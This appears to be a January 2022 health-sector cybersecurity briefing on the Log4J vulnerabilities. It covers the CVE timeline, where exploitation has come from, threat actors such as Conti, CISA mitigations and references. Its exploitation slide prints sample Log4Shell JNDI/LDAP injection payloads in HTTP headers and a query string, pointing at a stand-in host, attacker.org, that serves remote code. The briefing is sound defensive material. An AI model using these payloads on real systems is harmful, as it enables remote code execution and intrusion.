Log4J Vulnerabilities and the Health Sector

01/20/2022
Agenda

- Introduction/Overview
- Logging Libraries/Frameworks
- Apache Log4J
- Timeline of Major Events
- Timeline of Exploitation
- Geographic Distribution of Exploitation
- Log4J Vulnerabilities
- Exploitation Details
- Patching and Remediation
- Conclusions
- References

Slides Key:

**Non-Technical:** Managerial, strategic and high-level (general audience)

**Technical:** Tactical / IOCs; requiring in-depth knowledge (sysadmins, IRT)
Log4J is a Java-based, ubiquitous logging tool now known to have multiple vulnerabilities, including multiple remote code execution flaws that can provide an attacker total control of a system.

Initially discovered in November 2021, multiple Log4J updates have been released since then.

No major compromises in the health sector to date; however, the health sector remains highly vulnerable, as do other industries.

Health sector adversaries are actively leveraging these vulnerabilities.

Updating can be a time-consuming and tedious process.

Further vulnerabilities may continue to be identified soon.

There are both short- and long-term steps to take in order to remain secure.

Vulnerabilities in ubiquitous apps will present similar issues in the future.
What is a logging library/framework?

- Logging in its simplest form is simply collecting and storing events/messages that occur in any application, especially an operating system or server.
  - Stored in a log file for future analysis
- Logging agents and logging libraries are the two primary methods that software developers use to manage events.
  - Allows for the logs to be collected and analyzed in the aggregate
- Logging libraries/frameworks are embedded/integrated into source code by developers. The structure, format and mode of transmission for logs output to log libraries are modified using application programming interfaces (APIs).

Logging libraries for frameworks and programming languages

- log4j, log4j2, java.util.logging, logback instructions
- Logger, Lograge
- Winston, Pino, Bunyan, Morgan
- Log4net, nlog
- Logging utilities within Django, flask and twisted
What is Log4J?

- Very popular, open-sourced, Java-based (ported to C, C++, C#, Perl, Python, Ruby) logging framework/library, maintained by the Apache Software Foundation.
- Deployed prolifically and utilized across industries as a component to many platforms, most notably cloud services.
- Originally written by Ceki Gülcü, who has since moved on to other projects, such as SLF4J and Logback.
- Initially released in 2001; current version is 2.17.1.
  - Issues with version 1.2 and 1.3 prompted full upgrade
  - Version 2 offers plugin architecture
  - More details available here: [https://logging.apache.org/log4j/2.x/index.html#News](https://logging.apache.org/log4j/2.x/index.html#News)
  - Repository: [https://github.com/apache/logging-log4j2](https://github.com/apache/logging-log4j2)
  - Official Apache page: [https://logging.apache.org/log4j/2.x/](https://logging.apache.org/log4j/2.x/)
Timeline of Major Vulnerability Events Over the Last 60 Days

Alibaba researchers report Log4Shell vulnerability (CVE-2021-44228)

November 24, 2021

First known exploitation of Log4Shell

December 1, 2021

First exploitation of Log4Shell as noted by Cisco

December 2, 2021

Log4J 2.15.0 released

December 5, 2021
Timeline of Major Vulnerability Events Over the Last 60 Days, Part 2

- **December 9, 2021**: Proof-of-concept Log4Shell exploit code posted to GitHub.
- **December 11, 2021**: Netlab noted Muhstik and Mirai botnets leveraging Log4J vulnerabilities.
- **December 12, 2021**: Checkpoint observes ~400K attacks.
- **December 13, 2021**: Second vulnerability (CVE-2021-45046) identified in Log4J 2.15.0; version 2.16.0 released to patch it.
Timeline of Major Vulnerability Events Over the Last 60 Days, Part 3

DHS/CISA gives federal government 10 days to patch; Adds Log4Shell to catalog of actively-exploited vulnerabilities; Launches dedicated webpage

December 14, 2021

Third vulnerability (CVE-2021-4104) identified (Log4J v. 1, end-of-life, no patch)

Vulnerability in Logback (Log4J predecessor, CVE-2021-42550) identified

December 15, 2021

Denial-of-service vulnerability (CVE-2021-45105) identified in Log4J version 2.6.0, 2.17.0 released

December 17, 2021

Remote code execution vulnerability (CVE-2021-44832) identified in 2.17.0. Apache releases 2.17.1 to fix it.

December 28, 2021
Source: Sophos; no scale available
Source: Sophos; no scale available
Timeline of Early Exploitation, Part 3

Source: ESET; no scale available
Geographic Distribution of Log4J Attack Source IPs

Exploit attempt source IPs

- 0.0032 - 1.46
- 1.77 - 4.49
- 6.8 - 11.88
- 24.46
- 30.1 +
Geographic Distribution of Log4J C2 (Command and Control) URLs
Targeting Scale
Geographic Distribution of Exploits in Late December 2021

Source: ESET
Geographic Distribution of Exploits Since Late December

TOP 20 COUNTRIES WITH MOST EXPLOIT ATTEMPTS

- United States: 43.5%
- Netherlands: 21.9%
- United Kingdom: 6.1%
- Tanzania: 5.9%
- New Zealand: 2.4%
- Poland: 2.0%
- Canada: 1.7%
- South Africa: 1.4%
- Singapore: 1.3%
- Czech Republic: 1.3%
- Russian Federation: 1.0%
- Spain: 1.0%
- Australia: 0.9%
- Switzerland: 0.9%
- China: 0.8%
- Ireland: 0.8%
- Germany: 0.8%
- Slovak Republic: 0.6%
- Turkey: 0.6%
- Ghana: 0.5%

Source: ESET
Log4J Vulnerabilities

Five vulnerabilities in Log4J since December 2021 (plus one in Logback framework)

<table>
<thead>
<tr>
<th>CVE</th>
<th>TYPE</th>
<th>Description/Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2021-44228</td>
<td>Remote Code Execution</td>
<td>Rated Critical; present in Log4j2 2.0-beta9 to 2.12.1 and 2.13.0 through 2.15.0; called Log4Shell; CVSS: 10 of 10; fixed in version 2.15.0</td>
</tr>
<tr>
<td>CVE 2021-45046</td>
<td>Denial of Service</td>
<td>Fix to address CVE-2021-44228 in 2.15.0 was incomplete in certain non-default configurations; fixed in version 2.16.0</td>
</tr>
<tr>
<td>CVE-2021-4104</td>
<td>Remote Code Execution</td>
<td>Rated High; present in versions 1.x; CVSS: 7.5; fixed in version 2.17.0 (no fix for Log4J version 1 - EoL)</td>
</tr>
<tr>
<td>CVE-2021-42550</td>
<td>Arbitrary Code Execution</td>
<td>Rated Moderate; present in Logback logging framework (successor to the Log4j 1.x); fixed with Logback versions, 1.3.0-alpha11 and 1.2.9</td>
</tr>
<tr>
<td>CVE-2021-45105</td>
<td>Denial of Service</td>
<td>Versions 2.0-alpha1 through 2.16.0 did not protect from uncontrolled recursion from self-referential lookups; CVSS: 7.5 of 10; fixed in version 2.17.0</td>
</tr>
<tr>
<td>CVE-2021-44832</td>
<td>Remote Code Execution</td>
<td>Present in version 2.17.0; CVSS score of 6.6; fixed in version 2.17.1</td>
</tr>
</tbody>
</table>
What is JNDI?

- Java Naming and Directory Service: Provides naming and directory functionality to Java applications
GET /a?q=%24%7Bjndi%3Aldap%3A%2F%2Fatta$[lower:c]ker.org%3A389%2Fexploit%7D HTTP/1.1
Host: www.victim.com
User-Agent: root@${jndi:ldap://attacker.org:389/exploit}
Referer: ${jndi:ldap://attacker.org:389/exploit}

q = ${jndi:ldap://atta$[lower:c]ker.org :389/exploit}
user_agent = root@${jndi:ldap://attacker.org:389/exploit}
referer = ${jndi:ldap://attacker.org:389/exploit}

LDAP Query to 'attacker.org:389' for 'exploit'

DN: exploit
javaClassName: foo
javaCodeBase: http://attacker.org:9999/
objectClass: javaNamingReference
javaFactory: ExploitWHptDegcqr

http://attacker.org:9999/

[app-user@server ~]$ command
Foreign actors believed to be leveraging Log4Shell:

- China
  - Per Microsoft, the cyber threat actor known as HAFNIUM has been leveraging the vulnerability to attack virtualization infrastructure (using DNS to conduct fingerprinting).
  - Per Crowdstrike, Aquatic Panda has used a modified version of Log4Shell to harvest credentials and memory dumps.

- Iran
  - Per Microsoft, the cyber threat actor known as PHOSPHOROUS has used a modified version of Log4Shell to deploy ransomware.
  - Per Checkpoint, APT35 has been conducting aggressive scanning for systems vulnerable to Log4Shell.

- Per Microsoft, Turkey and North Korea have been leveraging Log4Shell as well.

- SecurityScorecard has reported seeing reconnaissance activity related to Log4Shell originating from Chinese and Russian state-sponsored actors.

- Mandiant reported having observed Chinese and Iranian state-sponsored actors leveraging Log4Shell.

Non-states:

- Cybercriminal groups, specifically ransomware operators, are leveraging Log4Shell.
  - Muhstik and Mirai botnets
  - Conti – prolific threat to the health sector
Per Advanced Intelligence, Conti is one of the first sophisticated cybercriminal groups to leverage Log4Shell.

- AI first noted that multiple Conti members expressed interest in Log4Shell on December 12, 2021
- AI noted Conti specifically targeting vulnerable VMware vCenter instances for lateral movement
  - European and U.S. targets
What can be done about Log4Shell and the rest of the Log4J vulnerabilities?

- The latest version (and future versions) of Log4J can be found here:
  - [https://logging.apache.org/log4j/2.x/download.html](https://logging.apache.org/log4j/2.x/download.html)
- CISA is maintaining a repository of affected vendor platforms:
  - [https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md](https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md)
- VMWare vCenter updates:
  - [https://kb.vmware.com/s/article/87081](https://kb.vmware.com/s/article/87081)

CISA Mitigation Guidance: [https://github.com/cisagov/log4j-affected-db](https://github.com/cisagov/log4j-affected-db)

- Disable Log4j library. This option could cause operational impacts and limit visibility into other issues.
- Disable JNDI lookups or disable remote codebases. This option, while effective, may involve developer work and could impact functionality.
- Disconnect affected stacks. Consider temporarily disconnecting the stack from agency networks.
- Isolate the system – create a “vulnerable network” VLAN and segment the solution stack from the rest of the enterprise network.
- Deploy a properly configured Web Application Firewall (WAF) in front of the solution stack – an important, but incomplete, solution
- Report incidents promptly to CISA and/or the FBI.
• Additional CISA Guidance here:

• Detection tools here:
  o [https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b](https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b)
  o *Do not assume upgrading is sufficient!*
    ▪ Assume you’ve been compromised

• Indicators of Compromise
  o Talos:
  o Curated Intel:
    ▪ [https://github.com/curated-intel/Log4Shell-IOCs](https://github.com/curated-intel/Log4Shell-IOCs)
  o Italian National Computer Emergency Response Team (CSIRT Italia):

• Continue to monitor Apache site and vendors for additional vulnerabilities and patches/updates
  o This remains a high-profile attack vector to both the “good” guys and “bad” guys
What about long-term solutions and mitigations?

Critical aspects of any sophisticated cyber defense program:

- **Asset Inventory**
  - Must be systematic – comprehensive and repeatable
  - Must have mechanisms of enforcement

- **Vulnerability Management**
  - Must be systematic – comprehensive and repeatable
  - Periodic reviews of effectiveness
  - Dependent on asset inventory

- **Defense in depth**
  - Hunt team mentality
  - Think like your adversaries

- **Acquisitions**
  - Software bill of materials

- **Resilience**
  - High probability of compromise
  - What will you do if it happens?
  - Incident response
  - Continuity of Operations (COOP)
Reference Materials
Download Apache Log4j 2
https://logging.apache.org/log4j/2.x/download.html

Log4j zero-day gets security fix just as scans for vulnerable systems ramp up
https://therecord.media/log4j-zero-day-gets-security-fix-just-as-scans-for-vulnerable-systems-ramp-up/

Log4Shell: RCE 0-day exploit found in log4j, a popular Java logging package
https://www.lunasec.io/docs/blog/log4j-zero-day/

YfryTchsGD - Log4jAttackSurface
https://github.com/YfryTchsGD/Log4jAttackSurface

Security warning: New zero-day in the Log4j Java library is already being exploited

RCE in log4j, Log4Shell, or how things can get bad quickly
https://isc.sans.edu/forums/diary/RCE+in+log4j+Log4Shell+or+how+things+can+get+bad+quickly/28120

A Simple Exploit is Exposing the Biggest Apps on the Internet

‘Log4Shell’ vulnerability poses critical threat to applications using ‘ubiquitous’ Java logging package Apache Log4j

The Internet’s biggest players are all affected by critical Log4Shell 0-day
Recently uncovered software flaw ‘most critical vulnerability of the last decade’
https://www.theguardian.com/technology/2021/dec/10/software-flaw-most-critical-vulnerability-log-4-shell

Apache Log4j vulnerability actively exploited, impacting millions of Java-based apps

Hackers start pushing malware in worldwide Log4Shell attacks

‘The Internet Is on Fire’
https://www.wired.com/story/log4j-flaw-hacking-internet/

Curated Intel: Log4Shell-IOCs
https://github.com/curated-intel/Log4Shell-IOCs

How Log4j Vulnerability Could Impact You

Critical vulnerability in Apache Log4j library

Oracle Security Alert Advisory - CVE-2021-44228
https://www.oracle.com/security-alerts/alert-cve-2021-44228.html

Vulnerability in Apache Log4j Library Affecting Cisco Products: December 2021
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
Log4j RCE activity began on December 1 as botnets start using vulnerability

Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild

Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation

Log4Shell Hell: anatomy of an exploit outbreak

‘The internet’s on fire’ as techs race to fix software flaw
https://apnews.com/article/technology-business-lifestyle-software-apple-inc-aed3cc628fc602079b100757974c8f01

STATEMENT FROM CISA DIRECTOR EASTERLY ON “LOG4J” VULNERABILITY

CISA to brief critical infrastructure companies about urgent new Log4j vulnerability
https://www.cyberscoop.com/log4j-cisa-vulnerability/

Zero-Day Exploit Targeting Popular Java Library Log4j
https://www.govcert.admin.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

Log4j Indicators of Compromise (Italy' CERT)
https://cert-agid.gov.it/download/log4shell-iocs.txt
Google Cloud Armor WAF rule to help mitigate CVE-2021-44228 Apache Log4j vulnerability

CVE-2021-44228 - Patching is Recommended for Evolving Zero Day Vulnerability in Apache Log4j that allows remote code execution (RCE)

Citrix Security Advisory for Apache CVE-2021-44228
https://support.citrix.com/article/CTX335705

Digging deeper into Log4Shell - 0Day RCE exploit found in Log4j
https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j

F-Secure: 0-day exploit found in the Java logging package log4j2
https://status.f-secure.com/incidents/sk8vmr0h34pd

Update for Apache Log4j2 Issue (CVE-2021-44228)

UniFi - Fix a security vulnerability found in a 3rd party library (CVE-2021-44228)
https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1

F5 K19026212: Apache Log4j2 Remote Code Execution vulnerability CVE-2021-44228
https://support.f5.com/csp/article/K19026212

Kaseya Log4j2 Vulnerability Assessment

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https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/

Splunk Security Advisory for Apache Log4j (CVE-2021-44228)

RSA Customer Advisory: Apache Vulnerability | Log4j2 (CVE-2021-44228)

Carbon Black: Log4Shell - Log4j Remote Code Execution (CVE-2021-44228)

SANS Institute on YouTube: What do you need to know about the log4j (Log4Shell) vulnerability?
https://www.youtube.com/watch?v=oC2PZB5D3Ys

Log4Shell exploited to implant coin miners
https://isc.sans.edu/forums/diary/Log4Shell+exploited+to+implant+coin+miners/28124/

Check Point response to Apache Log4j Remote Code Execution (CVE-2021-44228)

CVE-2021-44228 Informational: Impact of Log4j Vulnerability CVE-2021-44228
https://security.paloaltonetworks.com/CVE-2021-44228

CyberArk: Critical Vulnerability CVE-2021-44228 Log4j2 Log4J
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Log4Shell update: Attack surface, attacks in the wild, mitigation and remediation
https://www.helpnetsecurity.com/2021/12/13/log4shell-update-cve-2021-44228/

Log4j flaw: Attackers are making thousands of attempts to exploit this severe vulnerability

CVE-2021-44228 - Log4j RCE 0-day mitigation
https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/

Log4j zero-day flaw: What you need to know and how to protect yourself

Ten families of malicious samples are spreading using the Log4j2 vulnerability Now
https://blog.netlab.360.com/ten-families-of-malicious-samples-are-spreading-using-the-log4j2-vulnerability-now/

Log4Shell Is Spawning Even Nastier Mutations

Flaw prompts 100 hack attacks a minute, security company says

The numbers behind a cyber pandemic – detailed dive

Security Advisory: Bitdefender Response to Critical Zero-Day Apache Log4j2 Vulnerability
Officials, experts sound the alarm about critical cyber vulnerability

Protect Yourself Against The Apache Log4j Vulnerability

Informatica Response to Apache log4j RCE Zero Day Vulnerability
https://network.informatica.com/community/informatica-network/blog/2021/12/10/log4j-vulnerability-update

Where the Latest Log4Shell Attacks Are Coming From
https://threatpost.com/log4shell-attacks-origin-botnet/176977/

Docker: Apache Log4j 2 CVE-2021-44228
https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/

Avaya Product Security - Apache Log4J Vulnerability - Impact for Avaya products
https://support.avaya.com/helpcenter/getGenericDetails?detailld=1399839287609

Symantec Security Advisory for Log4j 2 CVE-2021-44228 Vulnerability
https://support.broadcom.com/security-advisory/content/security-advisories/Symantec-Security-Advisory-for-Log4j-2-CVE-2021-44228-Vulnerability/SYMSA19793

Log4Shell log4j vulnerability (CVE-2021-44228) - cheat-sheet reference guide
https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/

CISA Creates Webpage for Apache Log4j Vulnerability CVE-2021-44228
40% of Corporate Networks Targeted by Attackers Seeking to Exploit Log4j

Log4j update: Experts say log4shell exploits will persist for 'months if not years’
https://www.zdnet.com/article/log4j-update-experts-say-log4shell-exploits-will-persist-for-months-if-not-years/

CISA warns 'most serious' Log4j vulnerability likely to affect hundreds of millions of devices
https://www.cyberscoop.com/log4j-cisa-easterly-most-serious/

Security company offers Log4j 'vaccine' for systems that can't be updated immediately

Log4Shell explained – how it works, why you need to know, and how to fix it
https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/

Log4j: List of vulnerable products and vendor advisories
https://www.bleepingcomputer.com/news/security/log4j-list-of-vulnerable-products-and-vendor-

SANS: What do you need to know about the log4j (Log4Shell) vulnerability?
https://www.youtube.com/watch?v=oC2PZB5D3Ys

Update: Log4Shell RCE Zero-Day—Reactions and Recriminations

Apache Log4j2 Security Advisory
https://www.digitaldefense.com/resources/vulnerability-research/apache-log4j2-security-advisory/
VMWare VMSA-2021-0028.1
https://www.vmware.com/security/advisories/VMSA-2021-0028.html

SECURITY ALERT: Apache Log4j "Log4Shell" Remote Code Execution 0-Day Vulnerability (CVE-2021-44228)
https://success.trendmicro.com/solution/000289940

ESET Log4J Vulnerability
https://forum.eset.com/topic/30691-log4j-vulnerability/#comment-143745

ZScaler Security Advisory: log4j 0-day Remote Code Execution Vulnerability (CVE-2021-44228)

CISA tells federal agencies to patch Log4Shell before Christmas

Dell DSN-2021-007: Dell Response to Apache Log4j Remote Code Execution Vulnerability

The Log4J Vulnerability Will Haunt the Internet for Years
https://www.wired.com/story/log4j-log4shell/

Log4j: Getting ready for the long haul (CVE-2021-44228)
https://isc.sans.edu/forums/diary/Log4j+Getting+ready+for+the+long+haul+CVE202144228/28130/

CISA orders federal agencies to patch Log4Shell by December 24th
Hackers Exploit Log4j Vulnerability to Infect Computers with Khonsari Ransomware
https://thehackernews.com/2021/12/hackers-exploit-log4j-vulnerability-to.html

The Laconic Log4Shell FAQ
https://research.checkpoint.com/2021/the-laconic-log4shell-faq/

Log4Shell attacks began two weeks ago, Cisco and Cloudflare say

Log4j flaw: Nearly half of corporate networks have been targeted by attackers trying to use this vulnerability
https://www.zdnet.com/article/log4j-flaw-nearly-half-of-corporate-networks-have-been-targeted-by-attackers-trying-to-use-this-vulnerability/

Chinese hackers are exploiting 'fully weaponised' software vulnerability which is causing 'mayhem on the web' and poses a threat to internet-connected devices worldwide, experts warn

First Log4Shell attacks spreading ransomware have been spotted
https://therecord.media/first-log4shell-attacks-spreading-ransomware-have-been-spotted/

New ransomware now being deployed in Log4Shell attacks

Khonsari ransomware, Nemesis Kitten are exploiting Log4j vulnerability

Log4j 2 - Beyond Patching: What's Next?
https://sonraisecurity.com/blog/log4j-risk/
Hackers Exploit Log4j Vulnerability to Infect Computers with Khonsari Ransomware
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Second Log4j vulnerability discovered, patch already released

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A deep dive into a real-life Log4j exploitation
https://blog.checkpoint.com/2021/12/14/a-deep-dive-into-a-real-life-log4j-exploitation/

Chinese, Iranian threat groups said to exploit Log4j

Log4Shell attacks expand to nation-state groups from China, Iran, North Korea, and Turkey

Log4j flaw: Now state-backed hackers are using bug as part of attacks, warns Microsoft

Log4j vulnerability now used by state-backed hackers, access brokers

Log4Shell: A new fix, details of active attacks, and risk mitigation recommendations
https://www.helpnetsecurity.com/2021/12/15/log4shell-mitigation/

Relentless Log4j Attacks Include State Actors, Possible Worm
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https://www.mandiant.com/resources/log4shell-recommendations

The impact of the Log4j vulnerability on OT networks
https://www.helpnetsecurity.com/2021/12/16/log4j-vulnerability-ot-networks/

FBI: Seeking Victims of Log4j Vulnerability

StealthLoader Malware Leveraging Log4Shell
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FBI to companies: Tell us if hackers target the Log4j vulnerability in your infrastructure

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https://www.zdnet.com/article/log4j-flaw-this-new-threat-is-going-to-affect-cybersecurity-for-a-long-time/

Log4j is patched, but the exploits are just getting started
https://www.theverge.com/2021/12/16/22839624/log4j-vulnerability-patched-threat-mitigation

WhiteSource Log4j Detect scans projects to find vulnerable Log4j versions
https://www.helpnetsecurity.com/2021/12/16/whitesource-log4j-detect/

Log4Shell: The Big Picture
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Log4j attackers switch to injecting Monero miners via RMI
Some Federal Systems Affected by Software Flaw, Official Says


EMERGENCY DIRECTIVE 22-02 MITIGATE APACHE LOG4J VULNERABILITY https://www.cisa.gov/emergency-directive-22-02

Security firm Blumira discovers major new Log4j attack vector

TellYouThePass ransomware via Log4Shell exploitation

Inside the code: How the Log4Shell exploit works

Conti ransomware group adopts Log4Shell exploit
https://therecord.media/conti-ransomware-group-adopts-log4shell-exploit/

TellYouThePass ransomware revived in Linux, Windows Log4j attacks

Upgraded to log4j 2.16? Surprise, there's a 2.17 fixing DoS

Understanding the Impact of Apache Log4j Vulnerability
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How Risky Is the Log4J Vulnerability?
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SBOM is an ingredient, not the whole recipe, in preventing the next Log4j breakdown

Log4Shell Response and Mitigation Recommendations

Are Endpoints at Risk for Log4Shell Attacks?

Simulating, Detecting, and Responding to Log4Shell with Splunk

Log4j: Conti ransomware attacking VMware servers and TellYouThePass ransomware hits China

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Third Version of Log4j Released to Fix High Severity DoS Vulnerability

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CISA sees low levels of Log4j exploitation against agencies and critical infrastructure
Questions

Upcoming Briefs

• 2/3 – Lessons Learned by the HSE Cyber Attack

Requests for Information

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Product Evaluations

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**HC3** works with private and public sector partners to improve cybersecurity throughout the Healthcare and Public Health (HPH) Sector

### Products

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<th>White Papers</th>
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<td>Direct communications to victims or potential victims of compromises, vulnerable equipment or PII/PHI theft, as well as general notifications to the HPH about current impacting threats via the HHS OIG.</td>
<td>Document that provides in-depth information on a cybersecurity topic to increase comprehensive situational awareness and provide risk recommendations to a wide audience.</td>
<td>Briefing presentations that provide actionable information on health sector cybersecurity threats and mitigations. Analysts present current cybersecurity topics, engage in discussions with participants on current threats, and highlight best practices and mitigation tactics.</td>
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